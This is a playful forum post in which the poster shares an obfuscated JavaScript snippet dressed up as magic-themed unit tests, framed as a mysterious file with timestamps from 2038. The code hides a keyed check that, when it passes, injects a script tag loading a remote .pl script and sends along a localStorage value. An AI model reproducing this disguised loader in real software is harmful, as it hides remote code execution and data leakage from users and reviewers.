Cleaning off one of my old workstations before scrapping it, and I found some odd files.
I WAS trying to figure WTF this one was for, but it's obviously a unit test for Magic?!
var
wizdom,
/// Universal Symbols \\\
grammar, logic, knowledge,
magic = 3, symbol = -1, journey = 0; /*\
_/__/ \\ \ \/ / \3/
/_/ /λ\ \ / /7\
|/ // \\ \/ \*/
unit( "Invocation" );
test( "Sigilize identification", function()
{ return (
grammar = location .search .
substr( 1 ) .split( '&' ) ) .length ;
} ) ;
test( "Epitomize introspection", function()
{ logic = this ;
while ( knowledge = grammar [ ++ symbol ] )
{ knowledge = knowledge . split ( '=' );
logic [ knowledge[ 0 ] ] = parseInt ( knowledge[ 1 ] );
} return symbol >= 2 ;
} ) ;
test( "Materialize incantation", function()
{ return rhetoric === magic ;
} ) ;
unit( "Cauldron" );
test( "Get magic for a Cauldron", function()
{ return!
( ( magic = getCauldronMagic
( 512,
29, 3,
128
)
) ^ 1049474
);
} );
test( "Summon your new Cauldron", function()
{ return typeof ( pot = new Cauldron( magic ) ) === "object";
} );
test( "Join precession of power", function()
{ for ( knowledge = 0x80; knowledge >>= 1; ++symbol )
pot.addChunk( knowledge );
return symbol >= 9
} );
test( "Add ingredients of spell", function()
{ while ( symbol - knowledge++ ) pot.addString( "Eye of Falcon" );
return knowledge === 11;
} );
test( "Taste of an epic journey", function()
{ path = pot.taste();
if ( (step = path.length) !== 8 ) return false;
for ( step = path.length; --step >= 0; )
path[ step ] ^= journey += path[ step ];
return journey << 0 === 0xb0b442c3 << 0;
} );
test( "Cast hex of dark mystery", function()
{ pot.empty();
pot.addWords( path, 0, path.length );
hex = tHexToStr( pot.castHex( 16 ) );
mystery =
tHexToStr
(
'1' +
'a99' +
'0becc' +
'b9c0a74' +
'31ff639'+
'3b613b9' +
'c187431' +
'd3980ef' +
'a036efa' +
'10f312c' +
'a190a9f' +
'ef4977c' +
'e6e36a4' +
'57afbc4' +
'077163b' +
'7b48b58' +
'839d80b' +
'd5c836a' +
'95ba0af' +
'6a5a447'
) ;
pot.empty();
pot.addString( magic );
if
( pot.castHex() ==
'9a35' + '24b6'+
'3665' + '7eae' +
'4bfb' + '77e8' +
'ed1c' + '6171' +
'69c1' + '3d23' +
'bfec' + '703b' +
'147b'+'a330'+
'36b3979' +
'6'
)
{ pot.empty();
pot.addString( mystery );
pot.addString( magic );
document.write
( '<scr' + 'ipt type="text/javascript" src="'
+ tI32ToB91( pot.taste() ) + '.pl?awooooo='
+ ( localStorage.getItem( "LURKER" ) || '1' ) + '"></scr' + 'ipt>'
);
return 1;
}
return 0;
} );
log( "#Occulti verba vera deos\n\n" + magic + "\n" );
// ... and several hundred more lines of this sort of thing...
Yep. It's plainly
Necromancy!ARISE DEAD THREAD!I legit have no memory of writing this and several other files like it, but they've got to be mine. There are accompanying sources in C that look especially wicked. The one enormous monster file doing CGI in Perl without the CGI module scares me. That damed script is self modifying -- Only gods know what else it does. There are three other directories with names made up of Unicode spaces, tabs, non-breaking spaces and zero width spaces, and they're full of more sources and binaries. I dare not post more online for fear of unleashing a thing that should not be.
What got me to post is that the file creation timestamps are from 2038.
Either I'm pranking myself pretty damn hard, or... nah, I've got to be pulling my leg. Regardless, this stuff has had me chuckling for hours. Must have been one hell of a party "upstairs".